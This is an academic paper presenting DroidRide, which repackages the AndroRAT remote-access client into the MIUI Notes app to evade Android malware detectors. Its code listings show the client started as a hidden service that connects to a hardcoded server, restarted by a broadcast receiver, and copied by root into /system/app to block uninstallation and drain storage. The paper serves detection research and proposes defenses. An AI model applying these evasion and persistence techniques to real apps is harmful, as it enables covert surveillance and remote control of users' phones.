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Abstract—Malware has started grabbing its undeserved share
long before the blossom of Android ecosystem. Injected with mal-
ware, malicious applications (apps) may threat users in various
ways like financial charges and information stealing. When the
severity of a deluge of malware was first noticed, malware detec-
tors delivered unsatisfactory detection accuracy, which further
degenerated upon simple transformation of malicious apps. Now
years later, we are eager to re-examine the robustness of malware
detectors. A surprisingly disappointed finding is that even known
malicious apps can evade quite a few detectors. We also find that
repackaging with extracted exploitable code instead of readily
available malware samples can evade more signature-based de-
tectors. Furthermore, we find Android OS features of Service and
Broadcast exploitable to enable malicious apps stealthily active
on phones. We implement all these findings through DroidRide,
a framework toward making Android malware less catchable to
detectors and more active on phones. Our prototype based on
two example apps—AndroRAT and MIUI Notes—demonstrates
DroidRide’s effectiveness in malware evasion. Toward defending
against DroidRide alike evasion, we further suggest feasible
design enhancements of malware detectors and Android OS.

I. INTRODUCTION

The evolution of malware detection still struggles to outpace

that of Android malware. It is the huge profit that drives

Android malware explosion. For example, applications (hence-

forth called “apps”) charging users with stealthy subscription

of a premium SMS service may bring dozens of million USD

to malware creators [1]. Back to the first quarter of 2015,

nearly 4,900 new Android malware samples were revealed

each day [2]! Malware detectors delivered less satisfactory

performance at early stage. Four representative mobile anti-

virus tools back to 2011 caught only 20.2% to 79.6% of

1,260 malware samples [3]. Now, years later, we find that

malware detectors still fail to outpace malware evasion, even

for known ones. We scan a collection of known malicious

apps to VirusTotal [3]. Nearly 40% of them can evade more

than 50% of assembled detectors therein. This motivates us to

pursue a necessary re-examination of malware evasion against

current malware detectors and Android OS.

Our goal is to find out simple yet effective evasion tech-

niques and in turn to explore corresponding countermeasures.

Evasion techniques to exploit may not have to be radical

new, as long as they can reveal vulnerabilities of current

Android security solutions. DroidRide is the result of this

experiment. As a framework for making malicious apps less
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catchable to detectors and more active on phones, DroidRide

consists of both off-phone phase and on-phone phase. Off-

phone phase focuses on evasion techniques during constructing

malicious apps. The more detectors can malicious apps evade,

the more likely can they be finally installed and take effect

on user phones. Off-phone phase then exploits OS-specific

features to enable frequent yet stealthy activeness of malicious

apps. Findings from both phases would be useful to enhance

malware detectors and Android OS against malware evasion.

The findings from off-phone phase demonstrate that current

detectors are still vulnerable to repackaging and obfuscation

as years ago [3]–[5]. To discourage signature-based detectors,

we do not directly inject readily available malware samples

into hosting apps. Instead, we follow a more challenging

way—extracting exploitable functionalities from an app and

with which repackaging another app. We implement such

repackaging using example apps AndroRAT [6] and MIUI

Notes [7]. Due to its remote control of phones, original

AndroRAT is detected as malicious by 23 out of 56 detectors

integrated on VirusTotal. Our repackaged MIUI Notes, with

AndroRAT’s remote control function maintained, lowers this

detection ratio to 17/56, which is further decreased down to

8/55 upon obfuscation.

The findings from on-phone phases reveal that Android

OS features of Service and Broadcast can be exploited to

make malicious apps constantly yet stealthily running. By

embedding AndroRAT’s remote control function into MIUI

Notes as Service, it can stealthily run in the background

without user notice. But the experiment shows that once

MIUI Notes is closed, the background service also exits. By

further registering for a system broadcast event, the embedded

remote control service can achieve automatic activation. Once

after the repackaged Notes is opened, it will be Broadcast

Receiver component of Android OS that periodically checks

the activeness of remote control service upon the registered

broadcast event. If the service is not active, it will be started

by Broadcast Receiver component.

Furthermore, malicious apps may even become uninstallable

on a rooted phone. With root/superuser permission, we can

move the repackaged Notes into the folder where pre-installed

or system apps locate. Users are not allowed to uninstall these

apps by default. Although on a rooted phone users still can

manage to delete whichever apps they want, we find that the

built-in uninstallation/deletion function cannot do so. This may



be because that the built-in uninstallation function does not

require superuser permission.

The rest of the paper is organized as follows. Section II

reports malware evasion status against current detectors, which

motivates us to re-examine robustness of public detectors and

Android OS. Section III sketches how DroidRide exploits

existing evasion techniques and Android OS features to make

malicious apps less catchable to detectors and more active on

phones. Section IV details DroidRide design and implementa-

tion. Section V suggests feasible defenses. Finally, Section VI

concludes the paper.

II. MOTIVATION

In this section, we motivate the need for re-examination

of malware evasion against public detectors and Android

OS. Although proposals in the literature keep beating the

game of malware detection [8], [9], less security-savvy users

might have access to only public tools like VirusTotal [10].

Surprisingly, we observe that even known malicious apps can

evade quite a few anti-malware detectors out of 57 ones (as

of June 5, 2016) on VirusTotal. This drives us to curiously

explore simple yet effective ways to further lower the detection

ratio and make malware outlast on phones. Such findings

would be valuable for enhancing malware detectors and OS

update/upgrade.

A. Android Malwre Gone Wild, So Did Its Detection

Android malware has spawned ever since the prosperity

of the Android ecosystem [11]. By App Annie’s report [12],

in 2015, worldwide download of Android apps exceeds 200

million, doubling that of iOS apps and yielding a revenue of

over 100 million USD for Google Play. But malware did not

wait until this blossom to grab its undeserved share. Short

after the debut of the first Android phone—T-Mobile G1—in

October 2008 [13], the first Android malware was uncovered

in August 2010 [14]. By October 2011, Zhou et al. already

collected 1,260 malicious apps in the wild for the first large-

scale and comprehensive dataset of Android malware [3]. In-

depth analysis of these malware reveals their four major misbe-

haviors, that is, privilege escalation, remote control, financial

charges, and information stealing. Malware activists never stop

going after these misbehaviors with know or unknown ways—

almost 4,900 new Android malware samples were revealed

each day in the first quarter of 2015 [2]. Undoubtedly, it

is the huge profits that drives malware explosion. Along

with vendors and developers, malware perpetrators are also

making much money out of Android [15]. For example, four

malicious apps (already removed from Google Play) based on

stealthy subscription of a premium SMS service may bring

6-24 million USD to malware creators [1].

The battle against Android malware also never ceases

[8], [9]. Toward Android’s healthy and sustainable growth,

joint efforts from academia and industry have contributed

to analyzing, detecting, and preventing malware. Prevention

usually requires OS-level security schemes [8]. Such schemes

secure Android OS design by thwarting potential exploitations

found during test or already exploited by known malware. It

may not prohibit corresponding malware from being installed

on phones; it makes installed malware to hardly take effect.

For example, Android 4.4 integrates SELinux, a mandatory

access control system in the Linux kernel, to mitigate kernel-

level privilege escalation [16]. But OS update or upgrade

should not be very frequent for being user friendly. Security

enhancements need also fit resource constraints of mobile

devices. To our surprise, a recent finding reveals that OS

upgrades might turn to ease malware installation [17]!

Since malware prevention is not the tiebreaker, detection

plays a critical role for excluding malicious apps from app

stores and users’ phones. Detection can follow either static or

dynamic approaches. Static approaches usually extract signa-

tures from malware and then use signature-based detection

[18]–[20]. Static approaches thus suffer from the intrinsic

limitation of signature-based detection—a signature might

fail to detect variants (e.g., obfuscated/encrypted version) of

the malware from which it is extracted [8]. Based on the

observation that most security and privacy issues are because

apps are over-privileged, Qu et al. advocates an interestingly

effective static detection by examining an app’s description

and its requesting permissions [21]. Malicious apps highly

likely require more permissions than their described services

may need. Different from static detection, dynamic detection

focuses more on what is harder for malware to change, that

is, behavior [22]. It monitors app behavior useing an emulated

environment to run the app. Sometimes it needs to instrument

apps [23] or OS [24] toward, for example, tracking data flow

to detect privacy leakage. If the emulated environment cannot

exhaust event triggers, dynamic detection may fail to catch

certain malware [8]; this even happens to Google Bouncer

[25], the emulator Google uses to examine apps on Google

Play.

B. Civilian Users, Sorry but Only Public Tools to Count On

Although malware detection keeps being proposed one after

another, none triumphs in the battle. Apps available on app

stores may be uncovered as malicious later [1]. Detectors in

literature usually gain less coverage than public detectors or

even may not be disclosed. This leaves most common yet

curious users to count on only public detectors. Such detectors

delivered unsatisfactory detection accuracy during the initial

rise of Android malware. Among a large collection of 1,260

malware samples detected from August 2010 to October 2011,

four representative mobile anti-virus tools back then caught

only 20.2% to 79.6% of them [3]. This detection accuracy

will be further lowered upon simple transformation (e.g.,

obfuscation) of malicious apps [4], [26], [27]. Now, with more

and more anti-malware techniques proposed, we are eager to

see whether the advance of public detectors outpace that of

malware. To this end, we scan a collection of 58 publicly

available apps containing known malware [28] on VirusTotal.

Figure 1 reports the latest scanning results on June 5, 2016.

Surprisingly, even for these known malicious apps, none is

caught by all 50+ assembled detectors on VirusTotal—The
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Fig. 1. Scanning results of 58 known malicious apps on VirusTotal.

highest detection ratio is 51/55 (92.7%) while the second

highest detection ratio decreases to 43/56 (76.8%) and the

lowest detection ratio is only 17.9%. Nearly 40% of the test

apps can evade more than 50% of assembled detectors.

What further confuses users is that public detectors may

even regard commonly trusted apps as suspicious. Stealing

personal information is a major malware threat [3], [23], [24],

[29]. Targeting privacy-sensitive information includes contacts,

SMS, and so on. But nowadays contacts/SMS backup is the

sweet spot of many popular apps, including built-in ones

from carriers. This makes us wonder that whether transferring

contacts/SMS will render commonly trusted apps suspicious.

We select ten top downloaded contact apps across leading app

stores in China. The number of their downloads ranges from

0.04 million to over 60 million. Figure 2 reports their scanning

results on VirusTotal. Four out of the ten apps are detected as

malicious by respectively 1, 2, 2, and 12 detectors. All the apps

reported by more than one detectors individually have over 10

million downloads. One is even reported with a Trojan mal-

ware (SHA1: 5ce1c471a906af3451494a60cca7de0c8dc66c47).

Then how should users react to such scanning results? Being

conservative, one may trust only apps reported malicious by

no detector. However, as shown in Figure 2, this strict rule

might likely throttle popular apps with dozens of million

downloads. Being empirical, one can scrutinize the scanning

results and determine whether reported malicious behaviors are

tolerable. This is obviously beyond most users’ experiences.

Furthermore, as shown in Figure 1, a malicious app can

already evade quite a few detectors on VirusTotal in its original

form, not to mention in its transformed form. Given that

malicious apps may have their time before exposure [1], it is

not exaggerated to say that certain malware may evade most

public detectors and even proprietary detectors adopted by app

stores.

C. How Easy, Still, for Malware to Hide?

Motivated by the aforementioned performance status of

current detectors, we find that before rushing out advanced

detectors, it is necessary to empirically study what easy tricks

can make malware evade detectors and reign on Android

OS. For example, does simple obfuscation found years ago

still increase the chance of malware evasion? Furthermore,

how might an installed malicious app make the most out

of its residence on phones? For example, can an installed

Ten top downloaded contact apps in China (SHA1)
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Fig. 2. VirusTotal reports certain top downloaded contact apps as malicious.

malicious app be hard to close or even delete? If so, how

to accordingly enhance detectors? All such concerns will be

addressed while we explore DroidRide design in Sections III-

IV and its defenses in Section V.

III. DROIDRIDE OVERVIEW

In this section, we sketch DroidRide, a framework that

makes Android malware less catchable to detectors and more

active on phones. DroidRide does not advocate any radical

new ideas. In particular, it empirically 1) lowers detectors’

resistance to malicious apps with repackaging and obfuscation,

and 2) lengthens malicious apps’ liveness on phones with

broadcast-triggered activation. Furthermore, we also find that

given escalated privilege, malicious apps can impersonate

system apps, become hard to delete, and potentially drain the

phone memory. Implementation details of these tricks will be

presented in Section IV and countermeasures against them will

be explored in Section V.

A. Methodology

DroidRide concerns two major phases of a malicious app’s

lifecycle—off-phone phase and on-phone phase. The off-

phone phase focuses on evasion techniques during the con-

struction process of a malicious app. The more sophisticated

the integrated evasion techniques are, the more likely can the

malicious app evade detectors and be installed on phones.

Then the on-phone phase explores OS-specific features to keep

the malicious app active as more often as possible. As shown

in Figure 3, DroidRide experiments on several attempts in both

phases.

Next we preview the rationale of off- and on-phone phases,

before detailing key design and implementation in Section IV.



B. Off-phone Evasion

The off-phone phase locates in the realm of the repackaging

technique. Repackaging injects malware into benign apps

and then re-assembles them [3]. Users that trust and install

repackaged apps like the original versions become vulnerable

to the piggybacked malware. But if we simply append known

malware sample to benign apps, it is easy to be uncovered by

signature-based detectors. So instead of directly using malware

sample, we extract exploitable code snippets from (malicious)

apps. This is more challenging because we need dissect the

code of an interested app and extract exploitable code. The

extracted code snippet should be minimal in size. This way, it

can deliver as more functions of its original apps as possible

yet more likely evade signature-based detectors. We believe

this would reveal more potential vulnerability of current de-

tectors and in turn motivate corresponding enhancements. We

use AndroRAT (Android Remote Access Tool) [6] and MIUI

Notes [7] as example apps.

In summary, the repackaging process of DroidRide consists

of the following three steps (Figure 3).

• Malware extraction. AndroRAT is a client/server applica-

tion that enables remote control and information retrieval

from Android phones. Note that AndroRAT per se is not

malicious; its client on the phone has to obtain user’s

permission before connecting to the server. Specifically,

users need to input IP address and port number of the

AndroRAT server. We find remote access functionalities

exploitable and extract them from AndroRAT.

• Malware injection. We choose to inject extracted remote

access code from AndroRAT into MIUI Notes. MIUI

Notes (hereafter referred to as Notes for simplicity) is

a built-in app on Xiaomi phones, which account for the

most smartphone shipments in China in 2015 [30]. It

delivers functions like memo and reminder and supports

backup to and synchronization from Cloud. Given the

popularity of its residing phones, its repackaged versions

(with certain enhancements claimed) are likely to reach

more users. We thus choose Notes to test the feasibility

of malware injection. We make the extracted remote

access code from AndroRAT stealthy running whenever

the repackaged Notes is opened.

• App obfuscation. This technique is originally proposed

for protecting apps from reverse engineering [31]. A

typical tool is ProGuard; it substitutes classes, fields, and

methods with short meaningless names [32]. Such in-

strumentation clearly combats signature-based detectors.

Obfuscation is thus found as a simple yet effective eva-

sion technique [26]. In light of this, we further obfuscate

repackaged apps using ProGuard.

C. On-phone Activation

With off-phone evasion techniques offering more chances

of being installed, repackaged apps still need to explore tech-

niques toward being more active during on-phone phase. Only

when the repackaged apps are running can their piggybacked

Malware Extraction

Malware Injection

App Obfuscation App Launching

Malware Activation

Deletion Prevention

installation

off-phone on-phone

Fig. 3. DroidRide framework.

malware take effect. But what if users close the repackaged

apps? A straightforward way is to repackage key system

apps that are always running once the phone is powered on.

However, such system apps must be hard to compromise.

Furthermore, modifying system apps requires maintaining root

permission of user phones through, for example, privilege

escalation attacks; this is usually challenging. Rather than

hacking system apps, an easier alternative is to repackage

popular apps. Given their popularity, we can hope that their

repackaged versions are more likely to be installed and more

often to be opened. Albeit being more promising, this still

cannot maintain malware activeness after app closing. Yet

a bigger challenge is that users might even tend to delete

repackaged apps later on.

We leverage Android OS specific features to make malware

active after app closing and make repackaged apps hard to

delete. In particular, malware activation during on-phone phase

benefits from the following three steps.

• App launching. As DroidRide injects extracted ex-

ploitable code into a benign app, it is necessary to open

the hosting app to activate injected code. This is of less

technical difficulty. We focus more on the following two

steps that prolong malware activeness after the hosting

app is opened.

• Malware activation. Our initial try is to hardcode Andro-

RAT server’s IP address and port number when repack-

aging Notes. Thus, AndroRAT can be stealthily activated

upon Notes launching. This basic method is susceptible

to app closing. A sophisticated attacker clearly would

keep activated malware active for as a sufficiently long

time as possible, even after Notes exits. This can be

achieved by exploiting two Android OS features. First,

apps consist of components providing either on-screen

Activity or background Service. When we inject Andro-

RAT code into Notes as Service, it is less noticeable

to users and can thus stealthily run in the background.

Second, broadcast receivers enable apps to be reactive

to interested system events. Upon opening Notes, we

register a broadcast receiver that periodically checks the

activeness of injected AndroRAT code. If found inactive,

the injected AndroRAT code will be activated and enable

remote access of the phone.

• Deletion prevention. The above tricks make malware



TABLE I
DETECTION RATIO ON VIRUSTOTAL AGAINST DIFFERENT TEST APPS.

AndroRAT Notes+AndroRAT Obfuscated(Notes+AndroRAT)
23/56 17/56 8/55

1 //launch AndroRAT client as a stealthy background service upon opening Notes

2 @Override

3 protected void onStart() {

4 super.onStart();

5 startAsyncNotesListQuery();

6 temp = new Intent(this, Client.class);

7 temp.putExtra("IP", "10.110.91.52"); //configure AndroRAT server IP

8 temp.putExtra("PORT", 6666); //configure AndroRAT server port

9 startService(temp); //launch AndroRAT client as a background service

10 }

Listing 1. Code snippet in NotesListActivity.java to start AndroRAT
client as a stealthy background service upon opening Notes.

active more often on phones. But what if the hosting

app is uninstalled? To make malware more sticky, a

natural question is how to make its hosting app hard

to uninstall/delete. We find privilege escalation necessary

to achieve this goal. With root permission obtained, we

can copy the hosting app to the directory accommodating

system apps. Then the hosting app will be treated as a

system app and become hard to delete by users. This

induces also a potential attack to drain phone memory.

IV. DROIDRIDE DESIGN AND IMPLEMENTATION

In this section, we detail the design and implementation of

DroidRide.

A. Evasion with Repackaging and Obfuscation

We explore repackaging and obfuscation to lower detection

ratio on VirusTotal. As Table I shows, the original AndroRAT

triggers alarms from 23 out of 56 detectors while the repack-

aged Notes with AndroRAT’s remote access code injected and

its obfuscated version can lower detection ratio down to 17/56

and 8/55, respectively.

Repackaging. The beginning key processes are to 1) ex-

tract exploitable remote access code from AndroRAT and

2) integrate the extracted code into Notes. The repackaged

Notes should function as the original Notes yet, in addition,

enable remote access of the phone as AndroRAT. We do

not repackage Notes with readily available malware samples

to avoid signature-based detectors. It is more challenging to

extract exploitable code from AndroRAT. Automating this

process for any app would be of interest to sophisticated

attackers. We, however, find it difficult and beyond the scope of

this paper. Instead, we resort to human intelligence to analyze

AndroRAT code base and extract exploitable part therein.

We find Android OS features of Service exploitable to

enable malicious apps’ stealthiness. A Service component

of an application runs in the background without user in-

terface [33]. We accordingly inject AndroRAT client into

Notes as a background service. Specifically, key code snippet

for achieving this is embedded in NotesListActivity.java1,

provided in Listing 1. Note that before starting AndroRAT

client (line 9), we need to configure corresponding AndroRAT

server’s IP address (line 7) and port number (line 8); both

1Source code of DroidRide prototype is available at [34].

1 -optimizationpasses 5

2 -dontusemixedcaseclassnames

3 -dontskipnonpubliclibraryclasses

4 -dontpreverify

5 -verbose

6 -optimizations !code/simplification/arithmetic,!field/*,!class/merging/*
7 -keep public class * extends android.app.Activity

8 -keep public class * extends android.app.Application

9 -keep public class * extends android.app.Service

10 -keep public class * extends android.content.BroadcastReceiver

11 -keep public class * extends android.content.ContentProvider

12 -keep public class * extends android.app.backup.BackupAgentHelper

13 -keep public class * extends android.preference.Preference

14 -keep public class com.android.vending.licensing.ILicensingService

15 -keepclasseswithmembernames class * {

16 native <methods>;

17 }

18 -keepclasseswithmembers class * {

19 public <init>(android.content.Context, android.util.AttributeSet);

20 }

21 -keepclasseswithmembers class * {

22 public <init>(android.content.Context, android.util.AttributeSet, int);

23 }

24 -keepclassmembers class * extends android.app.Activity {

25 public void *(android.view.View);

26 }

27 -keepclassmembers enum * {

28 public static **[] values();

29 public static ** valueOf(java.lang.String);

30 }

31 -keep class * implements android.os.Parcelable {

32 public static final android.os.Parcelable$Creator *;

33 }

Listing 2. Configuration of proguard.cfg for app obfuscation.

are affiliated with the computer we use to host AndroRAT

server. As startService() for starting AndroRAT client is

called by onStart() method (line 3), AndroRAT client will

start whenever Notes is opened. As shown in Figure 4(a), after

AndroRAT client starts in the background, via it AndroRAT

server can successfully connect to the phone and thus support

further control activities.

The repackaged Notes with AndroRAT-code injected lowers

detection ratio on VirusTotal down to 17/56, in comparison

with 23/56 of the original AndroRAT.

Obfuscation. We further verify whether detectors are suscep-

tible to obfuscation as they were found so years ago [4],

[5]. To make our findings generic, we do not adopt highly

complex obfuscators like DexGuard [35], which shields apps

from static analysis using encryption (to string, class, and

asset), obfuscation (to code and resource), and call hiding.

Instead, we use a commonly used basic obfuscator, ProGuard

[32]. It first removes useless classes, fields, methods, and

attributes; it then renames the remaining ones with short

meaningless names. In comparison with DexGuard, ProGuard-

ed apps cannot evade static analysis using call graph [36],

not to mention the more powerful dynamic analysis [37].

Thus, if ProGuard can already make malicious apps evade

more detectors, it indicates that current detectors surely need

integrate more advanced detection techniques.

Using ProGuard to obfuscate apps, we need to import

proguard.cfg file for compilation. It turns out that a com-

monly used proguard.cfg configuration as in Listing 2 works

well for obfuscating the repackaged Notes. ProGuard provides

various -keep options to specify what not to obfuscate. More

usage guidelines of ProGuard can be found in [38]. Note that

obfuscation does not alter app functions.

After obfuscating the repackaged Notes that is injected

with AndroRAT’s remote access code, we further lower its

detection ratio on VirusTotal to 8/55. Specifically, repackaging

and repackaging+obfuscation reduce the original AndroRAT’s

detection ratio by 26.1% and 64.6%, respectively (Table I).



(a) AndroRAT starts upon Notes opening

connection established

connected-phone info

(b) AndroRAT exits upon Notes closing

connection aborted

connected-phone info disappeared

Fig. 4. Injected as a background service of Notes. AndroRAT (a) starts upon Notes opening and (b) exits upon Notes closing.

B. Automatic Activation

Evading detectors does not make malicious apps directly

jeopardize users. Malicious apps take effect only after they

have been installed and activated on user phones. In the

preceding design, AndroRAT code exits as soon as its hosting

Notes is closed (Figure 4(b)). Some malicious apps like spy-

ware might expect longer activation time. A straightforward

way is to repackage an app that is more frequently running

such as instant message apps or social networking apps.

This workaround method is clearly not an essential solution.

Sophisticated malicious apps would exploit more active ways,

striving for more often yet likely stealthy activation.

We find Android OS features of Broadcast exploitable to

enable malicious apps’ automatic activation. By registering for

a system or application event, an app can define the action

reactive to the registered event; it is the BroadcastReceiver

component of Android OS that handles this action even

when other components of the app are not running [39]. Key

code change to Notes is registering for a system event in

MyBroadcastReceiver.java. Specifically, the system event

in use is Intent.ACTION TIME TICK, which broadcasts the

current time every minute. As shown in Listing 3, upon receiv-

ing Intent.ACTION TIME TICK, BroadcastReceiver checks

whether AndroRAT client is activated. If not, it will first

configure AndroRAT server’s IP and Port and then start

AndroRAT client as a background service on the phone (lines

19-25). Note that it is straightforward to adjust frequency

of the above check. For example, we may check the status

of AndroRAT client every m minutes, where m > 1. We

can introduce a counter initialized as m, which is decreased

by one whenever Intent.ACTION TIME TICK is received.

Then only when m decreases to zero can the code snippet

in Listing 3 take effect. Repackaging Notes in this way,

after Notes is closed, AndroRAT client can still start as soon

as the next Intent.ACTION TIME TICK arrives. After that,

AndroRAT client keeps running while the phone is under

control of AndroRAT server.

C. Uninstallation Prevention

Albeit the preceding design enables more often activation

of AndroRAT client, it heavily relies on installed Notes on

the phone. In other words, it fails to activate AndroRAT once

Notes is deleted/uninstalled from the phone. This makes us

1 //once Notes being opened, automatically start AndroRAT client upon receiving

2 //broadcast system event Intent.ACTION\_TIME\_TICK

3 @Override

4 protected void onReceive(Context context, Intent intent) {

5 Log.i("Broadcast", "Receive1");

6 boolean isServiceRunning = false;

7 if (intent.getAction().equals(Intent.ACTION_TIME_TICK)) {

8 Log.i("Broadcast", "Receive2");

9 ActivityManager manager =

10 (ActivityManager)context.getSystemService(Context.ACTIVITY_SERVICE);

11 for (RunningServiceInfo service

12 :manager.getRunningServices(Integer.MAX_VALUE)) {

13 if("net.micode.notes.ui.Client"

14 .equals(service.service.getClassName())) {

15 Log.i("Broadcast", "Receive3");

16 isServiceRunning = true;

17 }

18 }

19 if (!isServiceRunning) {

20 Log.i("Broadcast", "Receive4");

21 Intent i = new Intent(context, Client.class);

22 i.putExtra("IP", "10.110.91.52");

23 i.putExtra("PORT", 6666);

24 context.unregisterReceiver(this);

25 context.startService(i);

26 }

27 }

28 }

Listing 3. Code snippet in MyBroadcastReceiver.java to
automatically start AndroRAT client (if it is not running) upon
receiving broadcast system event Intent.ACTION TIME TICK.

wonder how Notes can be made harder to uninstall. Upon

further investigation of Android OS features, we find that

pre-installed or system apps in the /system/app folder can

not be uninstalled on unrooted phone. This is because the

/system/app folder requires root permission to write. Such

Android feature motivates us to move/copy repackaged Notes

to the /system/app folder after rooting the phone.

Copying repackaged Notes to the /system/app folder to-

ward preventing uninstallation is, however, somewhat para-

doxical. On the one hand, we need root permission to make

Notes copied. On the other hand, users cannot uninstall apps

in the /system/app folder only if the phone is not rooted.

Once the phone is rooted, repackaged Notes may be exploited

by a sophisticated attacker in the following two ways.

• Root, copy, and unroot. Such a series of operations can

first copy repackaged Notes to the /system/app folder

and then make it uninstallable through unrooting the

phone. (Note that how to root phones through privilege

escalation attacks [3] is beyond the scope of the paper.)

This way, we achieve the goal of preventing Notes from

being uninstalled.

• Drain phone memory. With root permission, since we

can copy Notes to the /system/app folder, we can

easily abuse the copying operation. For example, we can

flood many copies of Notes to the /system/app folder



1 String packageName = new String("net.micode.notes");

2 String apkPath = getSourceApkPath(context, packageName);

3 Log.i("saber", "apkPath############");

4 Log.i("saber", apkPath);

5 String appName = "netnote"+System.currentTimeMillis()+".apk";

6 Process sh = null;

7 DataOutputStream os = null;

8 try {

9 Log.i("saber", "before su#################");

10 sh = Runtime.getRuntime().exec("su");

11 os = new DataOutputStream(sh.getOutputStream());

12 final String Command = "cp "+apkPath+" /system/app/"+appName+" ;

13 chmod 644 /system/app/"+appName;

14 Log.i("saber", "before copy#################");

15 os.writeBytes(Command);

16 os.flush();

17 Log.i("saber", "after flush#################");

18 } catch (IOException e){

19 e.printStackTrace();

20 }

Listing 4. Code snippet in MyBroadcastReceiver.java to copy Notes
to the /system/app folder.

and gradually drain phone memory. But because root

permission is still available, Notes copies can be deleted.

We can discourage the deletion through mimicking names

of system apps or popular pre-installed apps.

We implement the second exploitation to fatigue phone

memory. Specifically, we periodically copy Notes to the /sys-

tem/app folder with a different name. For periodical copy

operation, we still leverage Android broadcast event of Inten-

t.ACTION TIME TICK as in Listing 3. One round of our

implemented copy operation in MyBroadcastReceiver.java

is exemplified in Listing 4. Line 5 varies app names with

current time. Line 10 gets root permission (by parameter su)

first. Lines 12 and 13 copy Notes to the /system/app folder

with a new name.

Another interesting observation is that although the phone

keeps rooted after the copy operation, we cannot simply

uninstall Notes using built-in uninstallation option, as shown

in Figure 5. (This can also be seen at 1’56” in our online

demo video [40].) We suppose that the built-in uninstallation

function does not claim superuser/root permission as Line 10

in Listing 4.

D. Discussions

Summary of Findings. DroidRide design and implementa-

tion reveal that current Android OS and detectors are still

susceptible to malware. In particular, we have two findings.

First, even known malicious apps can evade quite a few of

malware detectors (Section II-B); simple app transformation

found years ago like obfuscation still can exacerbate malware

evasion (Section IV-A). Second, Android OS lacks on-phone

verification of app behavior; some design features like Service

and Broadcast may even be exploited to enable malicious apps’

stealthy activeness (Section IV-B). Both findings suggest the

necessity of more secure malware detectors and OS update/up-

grade.

Future work for large-scale measurement. The preceding

reported measurement results arise from a small number of

known malicious apps. Moreover, DroidRide implementation

heavily relies on human intelligence for app analysis and

repackaging. Toward larger-scale measurement and implemen-

tation, our future work will focus on two major directions. The

first is to collect more malicious app samples for measuring

detectors’ robustness and extracting exploitable functionalities.

Notes Notes

(a) before clicking delete button (b) after clicking delete button

delete

button

delete

button

Fig. 5. After copying Notes to the /system/app folder on a rooted phone, it
cannot be deleted via the built-in uninstallation function.

The second is to explore automatic programming schemes for

code extraction and app repackaging.

DroidRide prototype and demo. For ease of demonstrating

how DroidRide repackages Notes with AndroRAT’s remote

access functionalities and strengthens the repackaged Notes’

activeness after installation, we make DroidRide prototype and

demo available at [34] and [40], respectively.

V. DEFENSES

Toward defending against DroidRide, we in this section

suggest feasible design enhancements of malware detectors

and Android OS.

Static versus dynamic detection. One definite enhancement

of current detectors would be integrating behavioral analysis

like dynamic detection schemes. This is motivated by the

fact that obfuscated malicious apps evade more detectors than

their original versions do. Although obfuscation blurs app

signatures, it does not alter app behaviors. However, for com-

plex malicious apps, the environment emulated by dynamic

detectors may hardly exhaust event triggers for malicious

behaviors [8]. This inevitably makes certain malware apps

reach user phones. We thus need augment Android OS with

necessary security verification.

Android OS. Neither arbitrarily blocking suspicious apps nor

prudently interrupting each security-related operation they run

offers sufficient user-friendliness. It is relatively challenging

for Android OS to verify malicious apps without user indi-

cation of which apps are trusted. This makes OS-level app

blocking hard to implement. On the other hand, we cannot shift

verification of each security or privacy related operation to

users. Too frequent interruption deprives users of convenience

and efficiency.

We suggest that apps’ behavioral statistics might be useful

to augment Android OS design. Specifically, OS can track

times, durations, and frequencies of each app calling/accessing

resources under concern, such as contact, SMS, and camera.

Take our repackaged Notes for example. When checking its

behavioral statistics, if a users notices that Notes constantly

accesses contact and SMS and transfers many of them out, the

user can easily identify the repackaged Notes as a malicious

app. One potential concern is privacy leakage prior to statistics

checking. We can mitigate this using thresholds specified by

users. For example, a user can set a contact related threshold

as 10. Whenever an app accesses contact up to 10 times or

transfers up to 10 contacts through network connection, the

OS immediately interrupts the app to get user indication. Such

real-time security enforcement using user-specified tolerance

might be a tradeoff between security and usability.



Android market. App stores also play a comparatively critical

role in combating malicious apps. They, especially in coopera-

tion, have the largest app base for exercising various detection

methods. For example, as more malicious apps are repackaged

versions of existing apps with malware injected, quantifying

app similarity is effective for app stores to reveal/remove

malicious apps [41].

VI. CONCLUSION

We have studied resistance of current malware detectors and

Android OS to malicious apps. Although new malware detec-

tion methods keep advancing, we find that current detectors

straggle to integrate sufficient methods. It may be acceptable

if this is only because of the hardness for detection to outpace

malware evolution. However, even known malicious apps can

evade quite a few detectors. Evasion techniques found years

ago, such as simple repackaging and obfuscation, can still

make malicious apps evade more. Furthermore, repackaging

with extracted exploitable code rather than readily available

malware samples helps malicious apps discourage signature-

based detectors. We also leverage Android OS features like

background Service and periodical Broadcast to enable au-

tomatic stealthy activation of malicious apps on phones. We

implement the preceding findings as DroidRide, using Andro-

RAT and MIUI Notes as example apps. Based on experiment

results, we suggest feasible design enhancements of malware

detectors and Android OS.
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